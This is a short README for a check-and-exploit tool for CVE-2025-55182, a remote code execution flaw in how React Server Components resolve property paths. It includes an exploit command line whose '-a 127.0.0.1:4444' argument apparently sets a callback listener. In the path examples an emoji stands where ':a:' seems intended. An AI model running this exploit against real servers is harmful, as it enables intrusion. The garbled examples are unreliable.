
CVE-2025-55182 检测方式和攻击利用
Ferramenta de verificação pessoal para verificar a vulnerabilidade CVE-2025-55182
Os React Server Components, ao decodificar o payload enviado ao endpoint da função do servidor, apresentam uma falha na resolução de caminhos. Eles usam dois pontos para separar as propriedades do objeto, permitindo acesso aninhado (por exemplo, $1🅰️b corresponde a {"a":{"b":"foo"}}.a.b), mas não validam a existência da propriedade. Quando $1🅰️a é passado, desencadeia um acesso inválido a {}.a.a, resultando em um erro 500 do servidor; o atacante pode explorar isso construindo um payload especial, utilizando poluição de cadeia de protótipos e injeção de código, para alcançar RCE.
python3 exp.py -t http://127.0.0.1:8080/ -a 127.0.0.1:4444
CVE-2025-55182-Check.sh [-h] [-f <path>] [-a]
Esta ferramenta é apenas para pesquisa de segurança, não utilize para fins ilegais.